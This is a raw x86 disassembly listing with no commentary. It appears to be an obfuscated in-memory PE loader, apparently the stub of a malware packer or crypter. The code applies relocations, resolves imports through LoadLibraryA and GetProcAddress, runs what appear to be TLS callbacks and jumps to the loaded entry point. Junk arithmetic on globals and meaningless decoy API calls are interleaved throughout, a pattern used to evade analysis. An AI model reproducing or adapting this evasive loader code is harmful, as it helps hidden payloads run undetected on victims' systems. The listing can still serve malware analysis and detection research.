mov dword [0x417050], eax
mov eax, dword [0x417050]
or ax, 0xc983
mov word [0x41704a], ax
movzx eax, word [0x41704c]
movzx eax, ax
sub eax, 0x1ffdc972
mov dword [0x417040], eax
movzx eax, word [0x41704a]
movzx eax, ax
add eax, 0x7446b2d
mov dword [0x417040], eax
movzx eax, word [0x41704c]
movzx eax, ax
add eax, 0x32c67e24
mov dword [0x417050], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 4]
cmp eax, 7
jbe 0x4071e0
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0x9de328d1
mov dword [0x417040], eax
mov eax, dword [0x417040]
imul eax, eax, 0x683cdb40
mov dword [0x417050], eax
movzx eax, word [0x41704c]
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
mov byte [0x417048], al
mov eax, dword [0x417044]
xor eax, 0x7d
mov byte [0x417048], al
mov eax, dword [0x417050]
or ah, 0x24
mov word [0x41704c], ax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x14]
add eax, 8
mov dword [ebp - 0x60], eax
mov eax, dword [0x417044]
add eax, 0x218978bf
mov dword [0x417050], eax
mov eax, dword [0x417040]
sub eax, 0x2570ee04
mov dword [0x417050], eax
mov eax, dword [0x417050]
and ax, 0xb3d6
mov word [0x41704a], ax
mov dword [ebp - 0x10], 0
jmp 0x4071d4
movzx eax, byte [0x417048]
movzx eax, al
xor ax, 0x21c
mov word [0x41704a], ax
mov eax, dword [0x417040]
imul eax, eax, 0x2cc97d96
mov dword [0x417040], eax
mov eax, dword [0x417040]
xor eax, 0x7c053b3c
mov dword [0x417044], eax
movzx eax, word [0x41704a]
movzx eax, ax
xor eax, 0x2f622f5c
mov dword [0x417040], eax
movzx eax, byte [0x417048]
movzx eax, al
xor eax, 0xa24334ab
mov dword [0x417040], eax
movzx eax, word [0x41704c]
or ax, 0x27f4
mov word [0x41704c], ax
mov eax, dword [0x417040]
and eax, 0xbec7fc16
mov dword [0x417044], eax
movzx eax, word [0x41704c]
mov edx, 0x5d
imul eax, edx
mov byte [0x417048], al
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0x2bf54d2f
mov dword [0x417044], eax
movzx eax, word [0x41704a]
movzx eax, ax
xor eax, 0x621d060b
mov dword [0x417050], eax
movzx eax, word [0x41704a]
imul ax, ax, 0xee17
mov word [0x41704a], ax
mov eax, dword [0x417040]
sub eax, 0x1abbbcbe
mov dword [0x417050], eax
mov eax, dword [0x417044]
and ax, 0xf8d0
mov word [0x41704c], ax
mov eax, dword [0x417050]
add ax, 0x6b4f
mov word [0x41704a], ax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x45
mov eax, dword [sym.imp.USER32.dll_RedrawWindow]
call eax
sub esp, 0x10
mov eax, dword [0x417040]
sub ax, 0x40e
mov word [0x41704c], ax
mov eax, dword [ebp - 0x10]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x60]
add eax, edx
movzx eax, word [eax]
test ax, ax
je 0x4071d0
movzx eax, word [0x41704c]
movzx eax, ax
xor eax, 0xe6a7828d
mov dword [0x417044], eax
mov eax, dword [0x417040]
add ax, 0x328f
mov word [0x41704a], ax
mov eax, dword [0x417040]
sub eax, 0x523f6fb6
mov dword [0x417050], eax
movzx eax, word [0x41704a]
or ax, 0x82a0
mov word [0x41704a], ax
movzx eax, word [0x41704a]
or ax, 0x2456
mov word [0x41704c], ax
movzx eax, byte [0x417048]
movzx eax, al
add ax, 0x39a8
mov word [0x41704c], ax
mov eax, dword [0x417044]
or eax, 0x7116f3e1
mov dword [0x417044], eax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
lea ebx, [ecx + ecx]
mov ecx, dword [ebp - 0x60]
add ecx, ebx
movzx ecx, word [ecx]
movzx ecx, cx
and ecx, 0xfff
add eax, ecx
add eax, edx
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov edx, dword [eax]
mov eax, dword [ebp - 0x54]
add edx, eax
mov eax, dword [ebp - 0x64]
mov dword [eax], edx
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x5c]
jb 0x406fdc
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 4]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
test eax, eax
jne 0x406e86
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x18], eax
movzx eax, word [0x41704a]
movzx eax, ax
or eax, 0xc85dc129
mov dword [0x417050], eax
movzx eax, byte [0x417048]
xor eax, 0x76
movzx eax, al
mov word [0x41704c], ax
mov eax, dword [0x417040]
sub ax, 0x4a17
mov word [0x41704a], ax
mov eax, dword [0x417040]
sub ax, 0x22a1
mov word [0x41704c], ax
mov eax, dword [0x417044]
imul eax, eax, 0x6660e628
mov dword [0x417050], eax
jmp 0x4078b7
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0x56e0f920
mov dword [0x417050], eax
movzx eax, word [0x41704a]
movzx eax, ax
xor eax, 0xcdd407fa
mov dword [0x417044], eax
mov eax, dword [0x417044]
or ax, 0x6669
mov word [0x41704c], ax
movzx eax, word [0x41704c]
mov edx, 0x26
imul eax, edx
mov byte [0x417048], al
movzx eax, byte [0x417048]
and eax, 0xfffffff9
mov byte [0x417048], al
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10]
add eax, edx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0xc]
add eax, edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x74], eax
movzx eax, word [0x41704c]
xor ax, 0x4816
mov word [0x41704c], ax
mov eax, dword [0x417050]
sub ax, 0x293e
mov word [0x41704c], ax
mov eax, dword [0x417050]
and ax, 0x17f5
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
imul eax, eax, 0x1128fbc4
mov dword [0x417040], eax
movzx eax, byte [0x417048]
movzx eax, al
xor eax, 0x2150ec6e
mov dword [0x417050], eax
movzx eax, word [0x41704c]
add eax, 0x41
mov byte [0x417048], al
mov eax, dword [0x417040]
imul eax, eax, 0x5d707d64
mov dword [0x417050], eax
movzx eax, word [0x41704a]
movzx eax, ax
or eax, 0x7ff3e789
mov dword [0x417050], eax
cmp dword [ebp - 0x74], 0
jne 0x4073eb
movzx eax, word [0x41704a]
imul ax, ax, 0xae25
mov word [0x41704c], ax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
mov eax, dword [0x417044]
xor eax, 4
mov byte [0x417048], al
mov eax, dword [0x417050]
add ax, 0x767a
mov word [0x41704c], ax
movzx eax, byte [0x417048]
and eax, 0xffffffbc
mov byte [0x417048], al
mov eax, dword [0x417044]
imul eax, eax, 0xf7c0a6aa
mov dword [0x417044], eax
mov eax, 0
jmp 0x407f5d
mov dword [esp + 4], 0
mov dword [esp], 0xf5
mov eax, dword [sym.imp.USER32.dll_GetSystemMenu]
call eax
sub esp, 8
mov eax, dword [0x417040]
add eax, 0x5fc3a974
mov dword [0x417050], eax
mov eax, dword [0x417050]
and eax, 0xfe4af7ee
mov dword [0x417040], eax
mov eax, dword [0x417040]
or eax, 0xff1f8307
mov dword [0x417050], eax
jmp 0x407861
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0x5eafe9ef
mov dword [0x417040], eax
mov eax, dword [0x417040]
imul ax, ax, 0x221c
mov word [0x41704a], ax
movzx eax, word [0x41704a]
mov edx, eax
mov eax, edx
shl edx, 6
sub eax, edx
add eax, eax
mov byte [0x417048], al
mov eax, dword [0x417050]
imul eax, eax, 0x4f99db9a
mov dword [0x417040], eax
movzx eax, byte [0x417048]
movzx eax, al
add ax, 0x9ca
mov word [0x41704c], ax
movzx eax, byte [0x417048]
mov edx, 0xffffffbc
imul eax, edx
mov byte [0x417048], al
movzx eax, word [0x41704a]
or ax, 0x8fc7
mov word [0x41704c], ax
movzx eax, word [0x41704c]
or ax, 0x48d0
mov word [0x41704c], ax
movzx eax, word [0x41704a]
and ax, 0x6904
mov word [0x41704c], ax
movzx eax, byte [0x417048]
movzx eax, al
imul ax, ax, 0x522d
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0xd45f6c83
mov dword [0x417044], eax
mov eax, dword [0x417040]
imul eax, eax, 0x11f3dfd9
mov dword [0x417050], eax
movzx eax, byte [0x417048]
add eax, 0x2c
mov byte [0x417048], al
mov dword [esp], 0xeb
mov eax, dword [sym.imp.USER32.dll_GetSysColorBrush]
call eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
mov eax, dword [0x417050]
mov edx, eax
mov eax, 0
sub eax, edx
shl eax, 6
mov byte [0x417048], al
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
test eax, eax
jns 0x4075d6
mov eax, dword [0x417050]
or eax, 0x2ab8990b
mov dword [0x417050], eax
mov eax, dword [0x417040]
or eax, 0xf92877a0
mov dword [0x417044], eax
mov eax, dword [0x417040]
xor ax, 0x339b
mov word [0x41704c], ax
movzx eax, word [0x41704c]
and ax, 0xb551
mov word [0x41704a], ax
mov eax, dword [0x417040]
or ax, 0x8027
mov word [0x41704c], ax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
movzx eax, ax
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x24], eax
jmp 0x40767c
movzx eax, byte [0x417048]
movzx eax, al
or ax, 0xdd1c
mov word [0x41704c], ax
movzx eax, word [0x41704a]
movzx eax, ax
and eax, 0x676d4688
mov dword [0x417050], eax
mov eax, dword [0x417050]
sub ax, 0x4cc
mov word [0x41704c], ax
movzx eax, word [0x41704a]
movzx eax, ax
add eax, 0xcb5561e
mov dword [0x417044], eax
mov eax, dword [0x417050]
imul eax, eax, 0x98302ebb
mov dword [0x417040], eax
mov eax, dword [0x417050]
xor ax, 0xaa16
mov word [0x41704a], ax
mov eax, dword [0x417040]
or ax, 0x15dc
mov word [0x41704a], ax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
add eax, 2
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x24], eax
movzx eax, word [0x41704c]
and ax, 0x2f7c
mov word [0x41704a], ax
mov eax, dword [0x417040]
xor eax, 0xffffffb3
mov byte [0x417048], al
movzx eax, word [0x41704a]
movzx eax, ax
sub eax, 0x6c50ae76
mov dword [0x417044], eax
movzx eax, word [0x41704a]
movzx eax, ax
imul eax, eax, 0xb5cfae6
mov dword [0x417044], eax
mov eax, dword [0x417040]
and eax, 0x14014f77
mov dword [0x417044], eax
movzx eax, byte [0x417048]
movzx eax, al
imul eax, eax, 0x2a581975
mov dword [0x417044], eax
cmp dword [ebp - 0x24], 0
jne 0x40776b
movzx eax, word [0x41704a]
movzx eax, ax
sub eax, 0x368e11ae
mov dword [0x417044], eax
movzx eax, word [0x41704a]
movzx eax, ax
sub eax, 0x61b12c71
mov dword [0x417044], eax
mov eax, dword [0x417050]
and ax, 0xe87b
mov word [0x41704a], ax
mov eax, dword [0x417040]
and eax, 0x657d5e0b
mov dword [0x417040], eax
mov eax, dword [0x417050]
imul eax, eax, 0x33a6a793
mov dword [0x417040], eax
mov eax, dword [0x417040]
add eax, 0x7261354e
mov dword [0x417050], eax
mov eax, dword [0x417044]
or ax, 0xbcb3
mov word [0x41704c], ax
mov eax, 0
jmp 0x407f5d
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
movzx eax, word [0x41704c]
movzx eax, ax
or eax, 0x3920d0bf
mov dword [0x417044], eax
movzx eax, word [0x41704c]
xor eax, 0xffffffc5
mov byte [0x417048], al
movzx eax, byte [0x417048]
movzx eax, al
add eax, 0x53d7c57e
mov dword [0x417050], eax
movzx eax, byte [0x417048]
movzx eax, al
sub eax, 0x243885e8
mov dword [0x417040], eax
movzx eax, word [0x41704c]
and eax, 0x41
mov byte [0x417048], al
add dword [ebp - 0x20], 4
mov dword [esp + 4], 0
mov dword [esp], 0x32
mov eax, dword [sym.imp.USER32.dll_GetIconInfo]
call eax
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0x3f
mov eax, dword [sym.imp.USER32.dll_GetIconInfo]
call eax
sub esp, 8
movzx eax, byte [0x417048]
movzx eax, al
xor ax, 0x71ca
mov word [0x41704c], ax
movzx eax, word [0x41704a]
mov edx, 0xffffffe5
imul eax, edx
mov byte [0x417048], al
mov eax, dword [0x417050]
xor ax, 0xb064
mov word [0x41704c], ax
movzx eax, word [0x41704c]
movzx eax, ax
sub eax, 0x1573f957
mov dword [0x417040], eax
mov eax, dword [0x417040]
and eax, 0x4771cef9
mov dword [0x417044], eax
add dword [ebp - 0x1c], 4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
test eax, eax
jne 0x407436
mov eax, dword [0x417050]
sub eax, 0x10
mov byte [0x417048], al
movzx eax, word [0x41704c]
sub eax, 0x1a
mov byte [0x417048], al
movzx eax, byte [0x417048]
movzx eax, al
sub eax, 0x41b0c037
mov dword [0x417050], eax
movzx eax, word [0x41704a]
movzx eax, ax
imul eax, eax, 0xf896a46a
mov dword [0x417050], eax
add dword [ebp - 0x18], 0x14
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
test eax, eax
jne 0x407259
movzx eax, word [0x41704c]
imul ax, ax, 0xed24
mov word [0x41704a], ax
mov eax, dword [0x417040]
add eax, 0x151eb9bd
mov dword [0x417044], eax
movzx eax, word [0x41704a]
add ax, 0x5c18
mov word [0x41704a], ax
mov eax, dword [0x417040]
and eax, 0xbf6d6892
mov dword [0x417050], eax
movzx eax, word [0x41704a]
add ax, 0x6a1f
mov word [0x41704c], ax
movzx eax, byte [0x417048]
movzx eax, al
imul eax, eax, 0x9ad08a27
mov dword [0x417040], eax
mov eax, dword [ebp - 0x58]
add eax, 0x48
mov eax, dword [eax + 4]
test eax, eax
je 0x407e64
movzx eax, word [0x41704a]
imul ax, ax, 0x88be
mov word [0x41704c], ax
movzx eax, word [0x41704c]
movzx eax, ax
imul eax, eax, 0xc887a384
mov dword [0x417044], eax
mov eax, dword [0x417044]
or eax, 0xe3fe8a6d
mov dword [0x417040], eax
movzx eax, word [0x41704a]
sub ax, 0xa7
mov word [0x41704c], ax
mov eax, dword [0x417044]
sub ax, 0x7e76
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
and ax, 0x4bc8
mov word [0x41704a], ax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x58]
add eax, 0x48
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x78], eax
mov eax, dword [0x417040]
or ax, 0x565c
mov word [0x41704a], ax
mov eax, dword [0x417040]
xor eax, 0x1a
mov byte [0x417048], al
mov eax, dword [0x417050]
imul ax, ax, 0x550d
mov word [0x41704a], ax
movzx eax, word [0x41704a]
movzx eax, ax
or eax, 0x4bc32658
mov dword [0x417040], eax
movzx eax, byte [0x417048]
movzx eax, al
imul ax, ax, 0x74c2
mov word [0x41704c], ax
movzx eax, word [0x41704a]
add ax, 0x74b0
mov word [0x41704c], ax
mov eax, dword [ebp - 0x78]
mov ecx, eax
call fcn.00401bf9
movzx eax, byte [0x417048]
movzx eax, al
and eax, 0xc46cd58e
mov dword [0x417040], eax
movzx eax, word [0x41704a]
movzx eax, ax
xor eax, 0x54af4154
mov dword [0x417050], eax
mov eax, dword [0x417044]
imul eax, eax, 0xe47398f4
mov dword [0x417040], eax
mov eax, dword [0x417044]
or eax, 0x231d9414
mov dword [0x417040], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x407e64
movzx eax, word [0x41704a]
xor eax, 0x7f
mov byte [0x417048], al
movzx eax, byte [0x417048]
add eax, 0xa
mov byte [0x417048], al
mov eax, dword [0x417044]
sub ax, 0x71da
mov word [0x41704c], ax
movzx eax, byte [0x417048]
movzx eax, al
and eax, 0x8e0c8a8d
mov dword [0x417050], eax
mov eax, dword [0x417044]
xor eax, 0xffffffe4
mov byte [0x417048], al
movzx eax, byte [0x417048]
movzx eax, al
add ax, 0x3902
mov word [0x41704c], ax
mov dword [esp], 0xcd
mov eax, dword [sym.imp.USER32.dll_GetSysColorBrush]
call eax
sub esp, 4
movzx eax, byte [0x417048]
movzx eax, al
imul eax, eax, 0x78879bc
mov dword [0x417040], eax
movzx eax, word [0x41704a]
xor ax, 0xd070
mov word [0x41704a], ax
mov eax, dword [0x417050]
imul eax, eax, 0xe67469e
mov dword [0x417040], eax
mov eax, dword [0x417044]
xor ax, 0x8bb3
mov word [0x41704c], ax
mov dword [ebp - 0x28], 0
movzx eax, byte [0x417048]
movzx eax, al
add eax, 0x582dbe13
mov dword [0x417050], eax
mov eax, dword [0x417050]
xor eax, 0xafa7f7bb
mov dword [0x417040], eax
mov dword [esp], 0x7f
mov eax, dword [sym.imp.USER32.dll_IsWindow]
call eax
sub esp, 4
mov eax, dword [0x417050]
or ax, 0x839a
mov word [0x41704c], ax
mov eax, dword [0x417050]
and eax, 0x1d
mov byte [0x417048], al
movzx eax, byte [0x417048]
movzx eax, al
imul eax, eax, 0xc0eea2bb
mov dword [0x417040], eax
mov dword [ebp - 0x7c], 0
mov eax, dword [0x417040]
add ax, 0x2e16
mov word [0x41704c], ax
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0xe75cde05
mov dword [0x417044], eax
movzx eax, word [0x41704c]
movzx eax, ax
add eax, 0x45f1629c
mov dword [0x417050], eax
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0x2e9b5e3f
mov dword [0x417040], eax
mov eax, dword [0x417050]
imul ax, ax, 0x6a62
mov word [0x41704c], ax
mov eax, dword [0x417050]
xor ax, 0x3e1f
mov word [0x41704a], ax
mov eax, dword [0x417050]
sub eax, 0x68bd27b
mov dword [0x417040], eax
mov eax, dword [0x417044]
imul eax, eax, 0x14214c85
mov dword [0x417044], eax
movzx eax, word [0x41704c]
movzx eax, ax
xor eax, 0x40a25f48
mov dword [0x417050], eax
movzx eax, word [0x41704a]
movzx eax, ax
sub eax, 0x108b3db4
mov dword [0x417040], eax
mov eax, dword [0x417040]
add eax, 0x36b055
mov dword [0x417050], eax
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0x39326257
mov dword [0x417050], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x28]
shl edx, 2
add eax, edx
mov dword [ebp - 0x80], eax
movzx eax, byte [0x417048]
movzx eax, al
sub eax, 0x1fb4fb43
mov dword [0x417050], eax
movzx eax, word [0x41704c]
sub ax, 0x24ed
mov word [0x41704c], ax
mov eax, dword [0x417040]
or eax, 0x9659f7db
mov dword [0x417040], eax
movzx eax, word [0x41704a]
movzx eax, ax
xor eax, 0xe04de45
mov dword [0x417050], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
movzx eax, byte [0x417048]
movzx eax, al
imul ax, ax, 0xe2b4
mov word [0x41704c], ax
mov eax, dword [0x417040]
add ax, 0x5b29
mov word [0x41704a], ax
movzx eax, byte [0x417048]
movzx eax, al
and eax, 0xb3752727
mov dword [0x417040], eax
movzx eax, word [0x41704a]
add ax, 0x6f2a
mov word [0x41704a], ax
movzx eax, word [0x41704a]
movzx eax, ax
sub eax, 0x55d1b1fb
mov dword [0x417044], eax
movzx eax, byte [0x417048]
movzx eax, al
and ax, 0x8edb
mov word [0x41704a], ax
cmp dword [ebp - 0x84], 0
jne 0x407e01
mov eax, dword [0x417050]
or eax, 0x6c0c4f90
mov dword [0x417044], eax
movzx eax, word [0x41704a]
movzx eax, ax
and eax, 0x618b3b91
mov dword [0x417044], eax
movzx eax, word [0x41704a]
movzx eax, ax
xor eax, 0x3c47d238
mov dword [0x417050], eax
movzx eax, word [0x41704a]
or ax, 0x393d
mov word [0x41704a], ax
mov eax, dword [0x417044]
or eax, 0x3bc070a8
mov dword [0x417040], eax
nop
mov eax, dword [0x417044]
sub eax, 0x4f
mov byte [0x417048], al
mov eax, dword [0x417044]
sub eax, 0x22017fed
mov dword [0x417050], eax
mov dword [esp], 0x24
mov eax, dword [sym.imp.USER32.dll_GetSysColorBrush]
call eax
sub esp, 4
movzx eax, word [0x41704c]
xor ax, 0xe097
mov word [0x41704c], ax
mov dword [ebp - 0x88], 4
jmp 0x407e64
mov eax, dword [ebp - 0x90]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [ebp - 0x84]
call eax
sub esp, 0xc
movzx eax, byte [0x417048]
movzx eax, al
or eax, 0xe871a7fa
mov dword [0x417040], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
movzx eax, word [0x41704c]
or ax, 0x521e
mov word [0x41704a], ax
add dword [ebp - 0x28], 1
jmp 0x407c04
call fcn.0040d866
mov eax, dword [0x417040]
sub eax, 0x498e3e2e
mov dword [0x417040], eax
mov eax, dword [0x417050]
add ax, 0x2e0a
mov word [0x41704a], ax
mov eax, dword [0x417040]
imul eax, eax, 0xed998339
mov dword [0x417044], eax
movzx eax, word [0x41704c]
movzx eax, ax
and eax, 0x303bdb76
mov dword [0x417044], eax
mov dword [esp + 4], 0
mov dword [esp], 0x27
mov eax, dword [sym.imp.USER32.dll_GetIconInfo]
call eax
sub esp, 8
mov eax, dword [ebp - 0x90]
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
add eax, edx
mov dword [ebp - 0x8c], eax
movzx eax, word [0x41704a]
imul ax, ax, 0xbb59
mov word [0x41704c], ax
mov eax, dword [0x417044]
sub ax, 0x467a
mov word [0x41704a], ax
mov eax, dword [0x417040]
add ax, 0x368b
mov word [0x41704c], ax
movzx eax, word [0x41704a]
and eax, 0x1b
mov byte [0x417048], al
mov eax, dword [0x417050]
and ax, 0xb8b0
mov word [0x41704c], ax
movzx eax, word [0x41704a]
sub eax, 0x57
mov byte [0x417048], al
mov eax, dword [0x417050]
and eax, 0x5febcef3
mov dword [0x417050], eax
mov eax, dword [0x417040]
or eax, 0x3c
mov byte [0x417048], al
mov eax, dword [ebp - 0x8c]
call eax
ud2
mov ebx, dword [ebp - 4]
leave
ret